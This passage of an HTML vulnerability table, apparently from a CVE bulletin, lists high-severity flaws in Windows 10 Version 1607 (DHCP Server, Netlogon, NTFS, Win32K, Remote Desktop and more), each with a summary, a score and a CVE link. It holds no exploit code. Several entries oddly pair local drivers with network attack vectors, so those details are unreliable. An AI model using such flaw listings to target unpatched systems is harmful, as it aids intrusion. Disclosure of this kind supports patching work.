&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DHCP Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72979&quot; target=&quot;_blank&quot;&gt;CVE-2026-72979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72982&quot; target=&quot;_blank&quot;&gt;CVE-2026-72982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Internet Connection Sharing (ICS) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72983&quot; target=&quot;_blank&quot;&gt;CVE-2026-72983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Secure Socket Tunneling Protocol (SSTP) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73009&quot; target=&quot;_blank&quot;&gt;CVE-2026-73009&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Weak authentication in Windows iSCSI allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73025&quot; target=&quot;_blank&quot;&gt;CVE-2026-73025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77493&quot; target=&quot;_blank&quot;&gt;CVE-2026-77493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62706&quot; target=&quot;_blank&quot;&gt;CVE-2026-62706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Windows GDI+ allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68827&quot; target=&quot;_blank&quot;&gt;CVE-2026-68827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68828&quot; target=&quot;_blank&quot;&gt;CVE-2026-68828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68834&quot; target=&quot;_blank&quot;&gt;CVE-2026-68834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68838&quot; target=&quot;_blank&quot;&gt;CVE-2026-68838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68876&quot; target=&quot;_blank&quot;&gt;CVE-2026-68876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Fast FAT Driver allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68878&quot; target=&quot;_blank&quot;&gt;CVE-2026-68878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68880&quot; target=&quot;_blank&quot;&gt;CVE-2026-68880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68894&quot; target=&quot;_blank&quot;&gt;CVE-2026-68894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows DHCP Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69266&quot; target=&quot;_blank&quot;&gt;CVE-2026-69266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Standard XPS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69271&quot; target=&quot;_blank&quot;&gt;CVE-2026-69271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69291&quot; target=&quot;_blank&quot;&gt;CVE-2026-69291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69301&quot; target=&quot;_blank&quot;&gt;CVE-2026-69301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft JScript allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69325&quot; target=&quot;_blank&quot;&gt;CVE-2026-69325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69332&quot; target=&quot;_blank&quot;&gt;CVE-2026-69332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69334&quot; target=&quot;_blank&quot;&gt;CVE-2026-69334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Print Spooler Components allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69346&quot; target=&quot;_blank&quot;&gt;CVE-2026-69346&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69360&quot; target=&quot;_blank&quot;&gt;CVE-2026-69360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Overlay Filter allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69371&quot; target=&quot;_blank&quot;&gt;CVE-2026-69371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69412&quot; target=&quot;_blank&quot;&gt;CVE-2026-69412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Volume Manager Driver allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69418&quot; target=&quot;_blank&quot;&gt;CVE-2026-69418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69423&quot; target=&quot;_blank&quot;&gt;CVE-2026-69423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows VOLSNAP.SYS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69427&quot; target=&quot;_blank&quot;&gt;CVE-2026-69427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows URL Moniker allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69434&quot; target=&quot;_blank&quot;&gt;CVE-2026-69434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Incorrect conversion between numeric types in Microsoft JScript allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69438&quot; target=&quot;_blank&quot;&gt;CVE-2026-69438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows BitLocker allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69458&quot; target=&quot;_blank&quot;&gt;CVE-2026-69458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69461&quot; target=&quot;_blank&quot;&gt;CVE-2026-69461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69462&quot; target=&quot;_blank&quot;&gt;CVE-2026-69462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69479&quot; target=&quot;_blank&quot;&gt;CVE-2026-69479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Enterprise App Management allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69481&quot; target=&quot;_blank&quot;&gt;CVE-2026-69481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Remote Desktop Client allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69485&quot; target=&quot;_blank&quot;&gt;CVE-2026-69485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69494&quot; target=&quot;_blank&quot;&gt;CVE-2026-69494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69495&quot; target=&quot;_blank&quot;&gt;CVE-2026-69495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69499&quot; target=&quot;_blank&quot;&gt;CVE-2026-69499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69505&quot; target=&quot;_blank&quot;&gt;CVE-2026-69505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69510&quot; target=&quot;_blank&quot;&gt;CVE-2026-69510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69511&quot; target=&quot;_blank&quot;&gt;CVE-2026-69511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69512&quot; target=&quot;_blank&quot;&gt;CVE-2026-69512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Remote Desktop allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69518&quot; target=&quot;_blank&quot;&gt;CVE-2026-69518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69524&quot; target=&quot;_blank&quot;&gt;CVE-2026-69524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Active Directory Domain Services allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69546&quot; target=&quot;_blank&quot;&gt;CVE-2026-69546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69547&quot; target=&quot;_blank&quot;&gt;CVE-2026-69547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69551&quot; target=&quot;_blank&quot;&gt;CVE-2026-69551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Incorrect calculation of buffer size in Windows iSCSI allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69598&quot; target=&quot;_blank&quot;&gt;CVE-2026-69598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69601&quot; target=&quot;_blank&quot;&gt;CVE-2026-69601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Hyper-V allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69603&quot; target=&quot;_blank&quot;&gt;CVE-2026-69603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows exFAT File System allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69619&quot; target=&quot;_blank&quot;&gt;CVE-2026-69619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
